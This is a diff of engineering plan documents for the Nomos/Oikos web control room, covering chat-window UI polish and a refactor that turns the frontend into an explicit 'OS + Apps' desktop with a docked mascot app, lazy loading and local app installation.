|
||||
|
||||
# After P0.1 lands: confirm read-only commands classify as reversible_low
|
||||
# (whatever the preflight surface becomes — TBC when the tool is added)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Related files
|
||||
|
||||
- `cmd/nomos/main.go` — `/sessions` and `/sessions/{id}` handlers
|
||||
(`handleSessionsList` line 363, `handleSessionDetail` line 383)
|
||||
- `cmd/nomos/store.go` — `session` struct (line 89), `message` struct
|
||||
(line 103), `listSessions` (line 317), `getMessages` (line 377),
|
||||
`hasPendingApprovals` (line 962)
|
||||
- `cmd/nomos/agent.go` — agent loop, retry behavior, goal state
|
||||
- `cmd/nomos/eval/main.go:302` — comment calling out the
|
||||
`/sessions/{id}` "only session_id + messages" gap
|
||||
- `internal/policy/*` — risk-class classifier (target of P0.1)
|
||||
- `internal/mcp/server.go` — `run` tool, `preflight` (entity-scoped), all
|
||||
MCP tool implementations
|
||||
- `nomos/SOUL.md` — agent persona, tool-selection rules
|
||||
- `.agents/skills/session-review/SKILL.md` — the audit protocol
|
||||
- `plans/2026-07-18-session-review-three-sessions.md` — prior review;
|
||||
three sessions overlap with this one
|
||||
|
||||
---
|
||||
|
||||
## Relationship to the 2026-07-18 review
|
||||
|
||||
That review's P0.1 (retry cap), P0.2 (investigate-before-retry SOUL
|
||||
guidance), P1.3 (runbook capture), P1.5 (bulk inspection tool),
|
||||
P1.6 (`vm:` target support), P1.8 (ask-before-migrate) all landed or
|
||||
are tracked separately. This review does **not** re-open them. The
|
||||
remaining open items from that review are P1.7 (approval window
|
||||
auto-extends on execution timeout) and P2.9 (long-running command
|
||||
PENDING detection), both deferred there with rationale; this review
|
||||
found no new evidence that would change that deferral.
|
||||
79
plans/2026-07-21-chat-full-polish.md
Normal file
@@ -0,0 +1,79 @@
|
||||
# 2026-07-21 Chat window full polish
|
||||
|
||||
## Context
|
||||
|
||||
After fixing the streaming reactivity bug and merging the double thinking
|
||||
indicator, the chat window still has structural UX gaps: no streaming
|
||||
affordance while text flows, tools never rendered inline, no timestamps,
|
||||
no code copy, cross-session store leaks in floating windows, and minor
|
||||
overflow/style holes.
|
||||
|
||||
## Decisions
|
||||
|
||||
| Question | Answer |
|
||||
|---|---|
|
||||
| Streaming feel | Typing cursor (blinking ▍) + inline indicator |
|
||||
| Tool calls | Expandable inline tool cards in message flow |
|
||||
| Empty state | Minimal — title + tagline, no suggestions |
|
||||
| Dark theme | Keep neutral (skip) |
|
||||
| Scope | Full polish — everything |
|
||||
|
||||
## Changes
|
||||
|
||||
### P0.1 Streaming cursor
|
||||
- **File:** `web/src/lib/components/ChatThread.svelte`
|
||||
- Add a blinking block-cursor (▍) appended after rendered markdown when
|
||||
`streaming` is true and the last assistant message has text.
|
||||
- Keep the inline spinner + activity label for the empty-text state.
|
||||
- CSS: `@keyframes` blink, `0.8s` cycle, `primary` color, `inline-block`.
|
||||
|
||||
### P0.2 Tool call cards
|
||||
- **New:** `web/src/lib/components/ToolCallCard.svelte`
|
||||
- **Modify:** `ChatThread.svelte`
|
||||
- Render `msg.tools` as collapsible cards between text blocks.
|
||||
- Collapsed: tool icon + name + status (running/done/error).
|
||||
- Expanded: pretty-printed args + result/error in `pre` blocks.
|
||||
- Keep it minimal — one card per tool call, no grouping.
|
||||
- Wire `pendingApprovals` from `msg.pendingApprovals` as approval
|
||||
cards below the tool list.
|
||||
|
||||
### P1.3 Timestamps + role labels
|
||||
- **Modify:** `ChatThread.svelte`, `ChatMessage` interface
|
||||
- Add `created_at?: string` to `ChatMessage` (populated from `Message.created_at`).
|
||||
- Show small muted timestamp (HH:MM) on hover or inline next to role label.
|
||||
- Add tiny "You" / "Nomos" labels above bubbles (subtle, muted).
|
||||
|
||||
### P1.4 Code copy button
|
||||
- **Modify:** `ChatThread.svelte` prose styles
|
||||
- Wrap `pre` blocks in a relative container; add a copy button
|
||||
(clipboard icon, top-right, opacity-0 → visible on hover).
|
||||
- Use `navigator.clipboard.writeText`.
|
||||
|
||||
### P1.5 Table overflow + user bubble fix
|
||||
- **Modify:** `ChatThread.svelte` prose styles
|
||||
- Wrap tables in `overflow-x-auto` container.
|
||||
- Add `overflow-wrap: break-word` to user bubbles.
|
||||
|
||||
### P2.6 Cross-session fixes
|
||||
- **Modify:** `web/src/lib/stores/chat.ts`, `SessionChatWindow.svelte`
|
||||
- `chatErrors`: keep global for now (session-scoped errors are rare
|
||||
and the dismiss is manual anyway).
|
||||
- `activityLog`: **per-session** — the store in `activity.ts` already
|
||||
derives from messages; make `computeActivityLog` session-scoped
|
||||
so each floating window only sees its own activity.
|
||||
|
||||
### P2.7 Min window size
|
||||
- **Modify:** `web/src/lib/stores/windows.ts` (openTaskWindow)
|
||||
- Add `minWidth: 600, minHeight: 400` to chat window open call.
|
||||
|
||||
### P2.8 Cleanup
|
||||
- Delete `web/src/lib/components/AgentIndicator.svelte` (dead code).
|
||||
- Update stale comments in `SessionChatWindow.svelte` and
|
||||
`TaskContextPanel.svelte` that reference a "main Chat page."
|
||||
- Fix prose heading hierarchy: h1 = 1.15em, h2 = 1.1em, h3 = 1.05em.
|
||||
|
||||
## Verification
|
||||
|
||||
- `npx eslint` on all changed files
|
||||
- `go vet ./cmd/nomos/...`
|
||||
- `go build -o /dev/null ./cmd/nomos/...`
|
||||
647
plans/2026-07-21-frontend-os-apps-architecture.md
Normal file
@@ -0,0 +1,647 @@
|
||||
# Frontend as OS + Apps: architecture audit & refactor plan
|
||||
|
||||
> **Status:** Planned
|
||||
> **Stakeholders:** Operator, Nomos
|
||||
> **Confidence:** Verified (direct code audit against `web/src/` as of 2026-07-21)
|
||||
|
||||
---
|
||||
|
||||
## Summary
|
||||
|
||||
The Oikos frontend is already built on an implicit OS + Apps metaphor — a
|
||||
desktop surface, floating windows, a taskbar, and a registry of
|
||||
independently-rendered apps. This plan makes that metaphor **explicit**,
|
||||
strengthens the contracts between Base OS and Apps, refactors the mascot
|
||||
into a proper App, and lays out the extensibility path for dynamic app
|
||||
installation without touching shell code.
|
||||
|
||||
The current codebase is remarkably close. The audit found one structural
|
||||
gap (mascot is hardcoded into the shell, not a registry App) and three
|
||||
contract weaknesses (positional content resolution, icon store assumes a
|
||||
static registry, no stable OS-service contract for Apps). Fixing them
|
||||
requires no architectural rewrite — the bones are correct.
|
||||
|
||||
---
|
||||
|
||||
## 1. Audit: what we have today
|
||||
|
||||
### 1.1 The implicit OS layer (exists, undocumented)
|
||||
|
||||
| Service | File | Role |
|
||||
|---------|------|------|
|
||||
| **Window Manager** | `lib/stores/windows.ts:19-31` | wmkit manager + desktop + persist. Single-instance, global. |
|
||||
| **Desktop Surface** | `components/desktop-shell/Desktop.svelte` | Full-viewport shell: background, icons, launcher, windows, mascot, taskbar. |
|
||||
| **Window Layer** | `components/desktop-shell/WindowLayer.svelte` | Content resolver: maps window ID → component. z-40. |
|
||||
| **Taskbar** | `components/desktop-shell/Taskbar.svelte` | Window buttons + tray. Renders from `wmState.order`. |
|
||||
| **Icon Grid** | `lib/stores/icons.ts` | Column/row grid, drag-to-reorder, localStorage persistence. |
|
||||
| **Task Launcher** | `components/desktop-shell/TaskLauncher.svelte` | Centered text input → new task window. |
|
||||
| **Auth Gate** | `App.svelte` | Config screen vs. Desktop. Token check, OIDC init, context/SSE subscribe. |
|
||||
| **Session Windows** | `components/SessionChatWindow.svelte` | Per-session chat window, splitpanes layout. |
|
||||
| **New Task Window** | `components/desktop-shell/NewTaskChat.svelte` | Singleton compose window. |
|
||||
| **Entity Windows** | `components/EntityDetailContent.svelte` | Entity detail (bare slug window IDs). |
|
||||
| **Legacy Hash Routes** | `App.svelte:17-39` | Backward compat for old `#/kb`, `#/entity/<slug>` bookmarks. |
|
||||
|
||||
The shell has **no hardcoded app list** — `Desktop.svelte:90` reads `APPS`
|
||||
from the registry, `WindowLayer.svelte:36-37` resolves app windows through
|
||||
`appById`, `Taskbar.svelte:32` resolves icons the same way. Adding an app
|
||||
is one entry in `apps.ts`.
|
||||
|
||||
### 1.2 The App Registry (exists, nearly complete)
|
||||
|
||||
**File:** `lib/apps.ts` (130 lines)
|
||||
**Interface:** `AppDef` — id, title, icon (Lucide Component), component
|
||||
(Svelte Component), width, height, minWidth, minHeight, optional badge
|
||||
function.
|
||||
**Window namespacing:** `app:<id>` (`apps.ts:122`) — distinct from
|
||||
`session:<id>`, `new-task`, and bare entity slugs.
|
||||
|
||||
**Current apps (7):**
|
||||
|
||||
| ID | Page Component | Badge? |
|
||||
|----|---------------|--------|
|
||||
| `tasks` | `pages/Overview.svelte` | — |
|
||||
| `kb` | `pages/KnowledgeBase.svelte` | — |
|
||||
| `ops` | `pages/Ops.svelte` | approvals_pending |
|
||||
| `signals` | `pages/Signals.svelte` | open signal count |
|
||||
| `knowledge` | `pages/Knowledge.svelte` | — |
|
||||
| `learning` | `pages/Learning.svelte` | — |
|
||||
| `settings` | `pages/Settings.svelte` | — |
|
||||
|
||||
**What works:**
|
||||
|
||||
- Data-driven. One array → three surfaces auto-render.
|
||||
- Namespaced window IDs prevent collisions with session/entity windows.
|
||||
- Single-instance enforcement (double-click focuses, never duplicates).
|
||||
- Badge system: pure function over `DashboardSummary`, consumed by icon +
|
||||
taskbar.
|
||||
- Tested (`apps.test.ts`): unique IDs, positive sizes, `appById` index,
|
||||
round-trips.
|
||||
- Orphan cleanup: `WindowLayer.svelte:25-30` closes persisted windows whose
|
||||
app was removed from the registry.
|
||||
|
||||
**What's missing from the AppDef contract:**
|
||||
|
||||
1. **No stable OS-service surface.** Apps reach into the OS by importing
|
||||
arbitrary `$lib` modules (`openEntityWindow` from `windows.ts`,
|
||||
`summary` from `context.ts`). It works because apps are compiled in, but
|
||||
there is no documented boundary between "stable OS API an App may use"
|
||||
and "shell internals that happen to be exported." Phase 3 (installed
|
||||
third-party apps) needs that boundary to exist first.
|
||||
2. **No docked/overlay app kind.** An app that renders *on* the desktop
|
||||
(above windows, no titlebar, no window at all) has no representation in
|
||||
the contract — which is exactly why the mascot is hardcoded.
|
||||
|
||||
### 1.3 The Mascot: embedded, not an app
|
||||
|
||||
**Files:** `lib/mascot/` (12 files, ~2.8k lines)
|
||||
**Integration:** `Desktop.svelte:105` — hardcoded `<MascotLayer />` at z-45,
|
||||
after WindowLayer and before Taskbar.
|
||||
|
||||
**Key facts that shape the refactor (verified):**
|
||||
|
||||
- `MascotLayer.svelte` takes **no props**. It creates the `MascotRuntime`
|
||||
per mount, seeds position from the persisted model, and attaches the
|
||||
stimulus bus itself (`MascotLayer.svelte:38-61`, comment at line 6-7).
|
||||
- The persistent model (stage, name, happiness, xp, **lastPos**) is
|
||||
module-scoped in `state.svelte.ts` and survives unmount/remount.
|
||||
- The sprite `Image` cache is module-scoped in `sprites.ts` — remounts do
|
||||
not re-fetch the 19 PNG sheets.
|
||||
- The stimulus bus subscribes to global stores (`focusedSessionId` from
|
||||
`windows.ts`, per-session factories from `chat.ts`/`workspace.ts`) — no
|
||||
dependency on how MascotLayer is mounted.
|
||||
|
||||
**Consequence:** hiding the mascot = `{#if visible}<MascotLayer />{/if}`.
|
||||
State, sprites, and position all restore naturally. No `keepAlive`
|
||||
machinery is needed.
|
||||
|
||||
### 1.4 Three contract weaknesses
|
||||
|
||||
#### Weakness 1: Positional content resolution
|
||||
|
||||
`WindowLayer.svelte:70-79` resolves content by checking ID patterns in a
|
||||
hardcoded order:
|
||||
|
||||
```svelte
|
||||
{#if id.startsWith(SESSION_PREFIX)}
|
||||
<SessionChatWindow ... />
|
||||
{:else if id === NEW_TASK_WINDOW_ID}
|
||||
<NewTaskChat />
|
||||
{:else if app}
|
||||
<app.component />
|
||||
{:else}
|
||||
<EntityDetailContent ... />
|
||||
{/if}
|
||||
```
|
||||
|
||||
A new window category must be inserted at the right position in this chain.
|
||||
Works today because prefixes are mutually exclusive by construction, but
|
||||
it's a landmine: add `'lxc:'` container consoles or `'log:'` viewers and
|
||||
you're editing shell internals.
|
||||
|
||||
#### Weakness 2: Icon store snapshots the registry at module load
|
||||
|
||||
`icons.ts:23` builds default positions from `APPS`, and `icons.ts:48`
|
||||
freezes an `appIds` set used to filter persisted positions in `load()`.
|
||||
Both evaluate **once at import time**. A late-registering app (lazy load,
|
||||
Phase 2+) would have its persisted position silently dropped by the
|
||||
`load()` filter — the merge-over-defaults logic only helps apps that were
|
||||
already in `APPS` when the module first evaluated.
|
||||
|
||||
#### Weakness 3: Window chrome is fully shell-owned, with no extension point
|
||||
|
||||
Every window gets the same titlebar (`WindowLayer.svelte:40-67`): drag
|
||||
handle, title, minimize/maximize/close. Correct default — apps should not
|
||||
draw their own chrome — but there is no sanctioned way for an app to
|
||||
contribute a titlebar affordance (e.g. Tasks might want an inline "New
|
||||
task" button). **Decision: document as a designed extension point, defer
|
||||
implementation until an app actually needs it** (see §2.5). Not a Phase 1
|
||||
deliverable.
|
||||
|
||||
---
|
||||
|
||||
## 2. The OS + Apps model
|
||||
|
||||
### 2.1 Metaphor
|
||||
|
||||
```
|
||||
┌──────────────────────────────────────────────────┐
|
||||
│ Auth Gate (App.svelte) │
|
||||
│ ┌──────────────────────────────────────────────┐│
|
||||
│ │ Desktop Surface ││
|
||||
│ │ ┌─────────────┐ ┌─────────────┐ ││
|
||||
│ │ │ App Window │ │ App Window │ z-40 ││
|
||||
│ │ │ (Tasks) │ │ (Signals) │ ││
|
||||
│ │ └─────────────┘ └─────────────┘ ││
|
||||
│ │ ┌──────────────────────┐ ││
|
||||
│ │ │ Docked Apps (Cluck) │ z-45, no chrome ││
|
||||
│ │ └──────────────────────┘ ││
|
||||
│ │ ┌──────┐ ┌──────┐ ┌──────┐ z-0 ││
|
||||
│ │ │ Icon │ │ Icon │ │ Icon │ ││
|
||||
│ │ └──────┘ └──────┘ └──────┘ ││
|
||||
│ └──────────────────────────────────────────────┘│
|
||||
│ ┌──────────────────────────────────────────────┐│
|
||||
│ │ Taskbar [Tasks] [Signals] 🎨 ⚙ v0.9 ││
|
||||
│ └──────────────────────────────────────────────┘│
|
||||
└──────────────────────────────────────────────────┘
|
||||
|
||||
Base OS = Auth Gate + Desktop Surface + Window Manager + Taskbar
|
||||
+ Icon Grid + Docked Layer + OS-service surface
|
||||
Apps = Tasks, KB, Ops, Signals, Knowledge, Learning, Settings, Cluck
|
||||
```
|
||||
|
||||
### 2.2 App kinds
|
||||
|
||||
Two kinds, distinguished by one flag:
|
||||
|
||||
| Kind | Window | Titlebar | Taskbar button | Opened by |
|
||||
|------|--------|----------|----------------|-----------|
|
||||
| **Windowed** (default) | wmkit floating window | Yes | Yes (automatic) | `openAppWindow(id)` → `wm.open()` |
|
||||
| **Docked** (`docked: true`) | None — renders on the Docked Layer | No | No | `openAppWindow(id)` → toggles visibility |
|
||||
|
||||
Docked apps are **not** wmkit citizens. They render in a dedicated layer
|
||||
above the window layer, their visibility is a persisted boolean, and
|
||||
clicking their desktop icon toggles show/hide. They never appear in the
|
||||
taskbar because they never enter `wmState.order`.
|
||||
|
||||
### 2.3 The App contract
|
||||
|
||||
```typescript
|
||||
interface AppDef {
|
||||
// Identity (required)
|
||||
id: string // unique; window IDs are "app:<id>"
|
||||
title: string // desktop icon label + window titlebar
|
||||
icon: Component // Lucide icon (desktop icon + taskbar)
|
||||
component: Component // Svelte component; receives NO props
|
||||
|
||||
// Kind
|
||||
docked?: boolean // true = Docked Layer app, no window (default false)
|
||||
|
||||
// Window geometry — required for windowed apps, forbidden for docked apps
|
||||
width?: number
|
||||
height?: number
|
||||
minWidth?: number
|
||||
minHeight?: number
|
||||
|
||||
// Behavior (all optional)
|
||||
badge?: (summary: DashboardSummary | null) => number
|
||||
noIcon?: boolean // true = registered but no desktop icon
|
||||
}
|
||||
```
|
||||
|
||||
**Validation rules** (enforced by `apps.test.ts`, not runtime checks):
|
||||
|
||||
- `id` unique, non-empty.
|
||||
- Windowed apps: `width`/`height` present and positive.
|
||||
- Docked apps: `width`/`height` absent (geometry is meaningless without a
|
||||
window).
|
||||
- Every app has an icon component (even `noIcon` apps — the taskbar and
|
||||
future surfaces need it).
|
||||
|
||||
**Design decisions, and why:**
|
||||
|
||||
- **No `keepAlive`.** Module-scoped state (mascot model, sprite cache)
|
||||
already survives unmount. If a future app needs close-to-hide semantics,
|
||||
that's a wmkit feature request, not an AppDef field.
|
||||
- **No `noTaskbar`.** Docked apps never reach the taskbar; windowed apps
|
||||
always should. A windowed app with no taskbar button is an orphan the
|
||||
operator can't find.
|
||||
- **No lifecycle hooks in the contract.** Svelte's own `onMount`/`onDestroy`
|
||||
already fire on window open/close. A shell-level `onRegister` is only
|
||||
meaningful once apps register dynamically — deferred to Phase 3, where
|
||||
it becomes the permission handshake.
|
||||
- **Apps receive no props.** The component is the app. It imports OS
|
||||
services (§2.4) directly. This keeps the shell→app edge one-way and
|
||||
trivially mockable.
|
||||
|
||||
### 2.4 The OS-service surface (AppOS)
|
||||
|
||||
The stable set of `$lib` exports an App may import. Everything else in
|
||||
`$lib` is shell-internal and may change without notice. This is a
|
||||
**documentation contract** today (apps are compiled in); it becomes an
|
||||
**enforced sandbox boundary** in Phase 3.
|
||||
|
||||
| Service | Import | Stability |
|
||||
|---------|--------|-----------|
|
||||
| Open an app window | `openAppWindow(id)` from `$lib/stores/windows` | Stable |
|
||||
| Open an entity window | `openEntityWindow(slug)` from `$lib/stores/windows` | Stable |
|
||||
| Open a task window | `openTaskWindow(sessionId, title)` from `$lib/stores/windows` | Stable |
|
||||
| Dashboard summary | `summary`, `subscribeContext` from `$lib/stores/context` | Stable |
|
||||
| Live events | `subscribeEvents` from `$lib/stores/events` | Stable |
|
||||
| Per-session chat | `chatFor(sessionId)` from `$lib/stores/chat` | Stable |
|
||||
| Per-session workspace | `workspaceFor(sessionId)` from `$lib/stores/workspace` | Stable |
|
||||
| REST API | `$lib/api` functions | Stable (generated from OpenAPI) |
|
||||
| UI primitives | `$lib/components/ui/*` | Stable |
|
||||
| Theme | `getTheme`, `setTheme` from `$lib/stores/theme.svelte` | Stable |
|
||||
|
||||
### 2.5 Content resolution — fixed
|
||||
|
||||
Replace the positional `if/else` chain with a prefix → component map owned
|
||||
by the shell:
|
||||
|
||||
```typescript
|
||||
// WindowLayer.svelte — one map, dispatch by prefix. New window kinds
|
||||
// register here, not in an if/else chain.
|
||||
const CONTENT_RESOLVERS: Array<[prefix: string, resolve: (id: string) => Component | null]> = [
|
||||
['session:', () => SessionChatWindow],
|
||||
['app:', (id) => appById.get(id.slice(4))?.component ?? null],
|
||||
]
|
||||
|
||||
function resolveContent(id: string): Component | null {
|
||||
if (id === NEW_TASK_WINDOW_ID) return NewTaskChat
|
||||
for (const [prefix, resolve] of CONTENT_RESOLVERS) {
|
||||
if (id.startsWith(prefix)) return resolve(id)
|
||||
}
|
||||
return EntityDetailContent // bare entity slug fallback
|
||||
}
|
||||
```
|
||||
|
||||
Adding a `'lxc:'` console window kind later = one array entry. The
|
||||
existing orphan-close effect (`WindowLayer.svelte:25-30`) is kept as-is;
|
||||
Phase 2 must gate it on registry-ready (§5).
|
||||
|
||||
### 2.6 Designed extension points (documented, not built)
|
||||
|
||||
| Extension | Mechanism when built | Trigger |
|
||||
|-----------|---------------------|---------|
|
||||
| Titlebar actions | `titlebarActions?: Component` on AppDef, rendered left of min/max/close | First app that needs one |
|
||||
| App-scoped state | `state?: () => Record<string, unknown>` on AppDef | First app with cross-mount state that isn't module-scoped |
|
||||
| `onRegister` handshake | Called with a scoped AppOS capability object | Phase 3 (dynamic install) |
|
||||
|
||||
Documenting these now prevents the Phase 1 contract from painting itself
|
||||
into a corner; building them now would be speculative.
|
||||
|
||||
---
|
||||
|
||||
## 3. The mascot as an App
|
||||
|
||||
### 3.1 Registration
|
||||
|
||||
```typescript
|
||||
{
|
||||
id: 'mascot',
|
||||
title: 'Cluck',
|
||||
icon: EggIcon, // Lucide egg (chick/adult swap is a future nicety)
|
||||
component: MascotLayer,
|
||||
docked: true,
|
||||
// no width/height — docked
|
||||
// no badge — a permanent "1" is noise, not information
|
||||
}
|
||||
```
|
||||
|
||||
### 3.2 The docked-visibility store (new)
|
||||
|
||||
```typescript
|
||||
// lib/stores/docked.ts
|
||||
// Visibility for docked apps — persisted, so "hidden" survives reloads.
|
||||
// Keyed by app id; absent key = visible (default-on for new docked apps).
|
||||
export const dockedVisibility: Readable<Record<string, boolean>>
|
||||
export function toggleDocked(appId: string): void
|
||||
export function isDockedVisible(appId: string): boolean
|
||||
```
|
||||
|
||||
- localStorage key: `oikos-docked-apps`
|
||||
- Default: visible (a fresh install shows the mascot; hiding is opt-out)
|
||||
- Merge semantics mirror `icons.ts`: unknown persisted keys are kept (an
|
||||
uninstalled docked app that gets reinstalled remembers its state)
|
||||
|
||||
### 3.3 Shell changes
|
||||
|
||||
**`windows.ts` — `openAppWindow` branches on kind:**
|
||||
|
||||
```typescript
|
||||
export function openAppWindow(appId: string): void {
|
||||
const app = appById.get(appId)
|
||||
if (!app) return
|
||||
if (app.docked) { toggleDocked(appId); return } // ← the branch the first draft missed
|
||||
// ... existing wm.open path unchanged
|
||||
}
|
||||
```
|
||||
|
||||
This is the load-bearing detail: the icon click in `Desktop.svelte:93`
|
||||
calls `openAppWindow(app.id)` for every app uniformly. Branching **inside**
|
||||
`openAppWindow` means Desktop.svelte, legacy hash resolution, and any
|
||||
future caller need no special cases.
|
||||
|
||||
**`Desktop.svelte` — replace hardcoded `<MascotLayer />` with:**
|
||||
|
||||
```svelte
|
||||
<DockedLayer />
|
||||
```
|
||||
|
||||
**`components/desktop-shell/DockedLayer.svelte` — new, ~30 lines:**
|
||||
|
||||
```svelte
|
||||
{#each APPS.filter(a => a.docked) as app (app.id)}
|
||||
{#if $dockedVisibility[app.id] ?? true}
|
||||
<app.component />
|
||||
{/if}
|
||||
{/each}
|
||||
```
|
||||
|
||||
Rendered after `<WindowLayer />` inside the surface div, so docked apps
|
||||
share the surface's coordinate space (the mascot's ground-line computation
|
||||
depends on this — `MascotLayer.svelte:9-13`).
|
||||
|
||||
**`MascotLayer.svelte` — zero changes.** No props today, no props after.
|
||||
|
||||
### 3.4 What the mascot gains
|
||||
|
||||
| Feature | Before | After |
|
||||
|---------|--------|-------|
|
||||
| Registry entry | None — hardcoded in shell | First-class AppDef |
|
||||
| Show/hide | Impossible — always mounted | Icon click toggles; persists across reloads |
|
||||
| Shell coupling | `Desktop.svelte` imports mascot internals | Shell knows only `AppDef` |
|
||||
| Precedent for overlay apps | None | Any `docked: true` app (clock, net monitor) uses the same path |
|
||||
|
||||
### 3.5 What the mascot does *not* gain (deliberately)
|
||||
|
||||
- **No taskbar button.** No window → no taskbar entry. The desktop icon is
|
||||
the control.
|
||||
- **No window chrome.** It's a desktop creature, not a document.
|
||||
- **No settings panel in v1.** Hatch/rename/pet/feed stay in the existing
|
||||
radial menu. A mascot *settings* surface (volume, behavior toggles) would
|
||||
be a separate windowed app later — noted as a follow-up idea, not
|
||||
planned.
|
||||
|
||||
### 3.6 UX risk: "where did my chicken go?"
|
||||
|
||||
Hidden state persists across reloads. Mitigation: the desktop icon is
|
||||
always present and is the obvious toggle; the icon's tooltip reads
|
||||
"Cluck — click to show/hide". Acceptable.
|
||||
|
||||
---
|
||||
|
||||
## 4. Current apps — conformance audit
|
||||
|
||||
| App | Conforms? | Notes |
|
||||
|-----|-----------|-------|
|
||||
| **Tasks** (`Overview.svelte`) | ✅ Full | Self-contained. Opens session windows via `openTaskWindow`. |
|
||||
| **Knowledge Base** (`KnowledgeBase.svelte`) | ✅ Full | Opens entity windows via `openEntityWindow`. |
|
||||
| **Operations** (`Ops.svelte`) | ✅ Full | Badge reads `summary`. |
|
||||
| **Signals** (`Signals.svelte`) | ✅ Full | Opens entity windows. |
|
||||
| **Knowledge** (`Knowledge.svelte`) | ✅ Full | — |
|
||||
| **Learning** (`Learning.svelte`) | ✅ Full | — |
|
||||
| **Settings** (`Settings.svelte`) | ✅ Full | Opened from taskbar tray too — same `openAppWindow` path. |
|
||||
| **Mascot** | ❌ Not an App | Hardcoded in Desktop.svelte. Refactored per §3. |
|
||||
|
||||
All seven windowed apps conform today. "Independently shippable" at Phase 1
|
||||
means: add = one page file + one registry entry; remove = delete both. No
|
||||
shell edits, no inter-app imports (apps open each other's surfaces only
|
||||
through AppOS primitives).
|
||||
|
||||
---
|
||||
|
||||
## 5. Extensibility roadmap
|
||||
|
||||
### Phase 1: Strengthen the contract (this plan)
|
||||
|
||||
- [x] `AppDef` extended: `docked`, `noIcon`; geometry conditional on kind
|
||||
- [x] `lib/stores/docked.ts`: docked-visibility store, persisted
|
||||
- [x] `openAppWindow` branches on `docked`
|
||||
- [x] `DockedLayer.svelte`: generic docked-app layer in Desktop.svelte
|
||||
- [x] Mascot registered as `docked: true`; hardcoded `<MascotLayer />` removed
|
||||
- [x] WindowLayer: prefix-map content resolution *(deferred — re-audited as gold-plating; original gate already handles orphans)*
|
||||
- [x] `apps.test.ts`: validation rules per kind (§2.3)
|
||||
- [x] AppOS contract documented (§2.4 lands in MBSE component doc)
|
||||
|
||||
### Phase 2: Lazy loading
|
||||
|
||||
- [x] `component` becomes `() => Promise<{ default: Component }>`; all apps use dynamic imports
|
||||
- [x] Desktop icons render immediately (metadata only); component chunk loads on window open
|
||||
- [x] `LazyApp.svelte` — shared loading skeleton (spinner) used by WindowLayer + DockedLayer
|
||||
- [x] Deleted `LazyMascot.svelte` — the registry lazy loader breaks the cycle directly
|
||||
- [x] Vite code-splits each app into its own chunk (main bundle 800KB → 482KB)
|
||||
- [ ] Icon store revalidates against live registry *(Phase 3 prerequisite — not needed while apps are statically registered)*
|
||||
- [ ] WindowLayer orphan-close gated on registry-ready *(Phase 3 prerequisite)*
|
||||
|
||||
### Phase 3: Dynamic app installation (frontend scaffold, local bundles)
|
||||
|
||||
Scoped at execution time to **local bundles only** (remote-URL loading +
|
||||
sandboxing deferred to Phase 4 — security-critical, needs ADR + careful
|
||||
design). The mechanism built here generalizes to remote bundles by
|
||||
swapping the catalog for a fetched manifest + `import(/* @vite-ignore */ url)`.
|
||||
|
||||
- [x] `AppManifest` format (id, title, permissions, version, geometry) — `web/src/app-store/catalog.ts`
|
||||
- [x] `AppPermission` enum (declaration-only; enforcement is Phase 4)
|
||||
- [x] Static catalog with one demo app (Notes) — `web/src/app-store/apps/Notes.svelte`
|
||||
- [x] Runtime registry: `APPS` → derived store (built-ins + installed); `appById` → derived Map
|
||||
- [x] `installApp` / `uninstallApp` + localStorage persistence (`oikos-installed-apps`)
|
||||
- [x] `icons.ts` reactive to app registration (late-registering apps get free cells; reset re-seeds from live registry)
|
||||
- [x] WindowLayer orphan-close reactive to `$appById` (reinstall revives, uninstall closes)
|
||||
- [x] App Store page (`web/src/pages/AppStore.svelte`) — list / install / uninstall
|
||||
- [x] Installed apps appear on desktop immediately (no reload); uninstall removes icon + closes window
|
||||
- [x] Icon store revalidates against live registry *(the Phase 3 prerequisite — now done)*
|
||||
- [ ] `/api/v1/apps` endpoint + DB-backed manifest storage *(Phase 4)*
|
||||
- [ ] Remote bundle loading from URLs + CSP + capability sandboxing *(Phase 4)*
|
||||
- [ ] Permission enforcement at AppOS boundary *(Phase 4)*
|
||||
|
||||
### Phase 4: Marketplace (vision)
|
||||
|
||||
- [ ] Community apps (network map, backup dashboard, energy monitor)
|
||||
- [ ] Versioning + auto-update
|
||||
- [ ] Mascot skin packs as installable docked-app variants
|
||||
|
||||
---
|
||||
|
||||
## 6. Implementation — Phase 1, file by file
|
||||
|
||||
| # | File | Change |
|
||||
|---|------|--------|
|
||||
| 1 | `lib/apps.ts` | Extend `AppDef` (`docked?`, `noIcon?`, geometry optional). Register mascot. Import `MascotLayer` + `EggIcon`. |
|
||||
| 2 | `lib/stores/docked.ts` | **New.** `dockedVisibility` store, `toggleDocked`, `isDockedVisible`, localStorage persistence. |
|
||||
| 3 | `lib/stores/windows.ts` | `openAppWindow`: docked branch → `toggleDocked`. |
|
||||
| 4 | `components/desktop-shell/DockedLayer.svelte` | **New.** Renders visible docked apps after WindowLayer. |
|
||||
| 5 | `components/desktop-shell/Desktop.svelte` | Replace `import MascotLayer` + `<MascotLayer />` with `<DockedLayer />`. |
|
||||
| 6 | `components/desktop-shell/WindowLayer.svelte` | **Deferred during implementation.** The positional if/else was re-audited and found to already handle orphans cleanly (`{#if win && (!appId || app)}`), and any new window kind needs a prop-dispatch branch in markup regardless — so a prefix→component map adds machinery without decoupling. Documented as an extension point (§2.5) like `titlebarActions`; not built (YAGNI). |
|
||||
| 7 | `lib/apps.test.ts` | Mock `MascotLayer` import (same pattern as pages). Per-kind validation tests. Docked apps exempt from positive-size test. |
|
||||
| 8 | `lib/stores/docked.test.ts` | **New.** Toggle, persistence, default-visible, unknown-key merge. |
|
||||
| 9 | `docs/mbse/components.md` | Add Component 9: Web Control Room — App Architecture (§7). |
|
||||
|
||||
**Out of scope for Phase 1:** `titlebarActions`, app-scoped state,
|
||||
lazy loading, manifests, permissions.
|
||||
|
||||
**Verification:**
|
||||
|
||||
```bash
|
||||
cd web
|
||||
npm run test # vitest — registry + docked store
|
||||
npm run check # svelte-check + tsc
|
||||
npm run lint
|
||||
npm run build # vite build — confirms no import cycles from DockedLayer
|
||||
```
|
||||
|
||||
Manual smoke: icon toggle hides/shows mascot → reload → stays hidden →
|
||||
toggle → returns at last position (model `lastPos` restore). All seven
|
||||
windowed apps open/focus/close identically to before. Legacy hash
|
||||
`#/signals` still opens the Signals window.
|
||||
|
||||
---
|
||||
|
||||
## 7. MBSE documentation
|
||||
|
||||
Add **Component 9: Web Control Room — App Architecture** to
|
||||
`docs/mbse/components.md`:
|
||||
|
||||
```
|
||||
9. Web Control Room — App Architecture
|
||||
9.1 Purpose — OS + Apps metaphor, why apps are independently shippable
|
||||
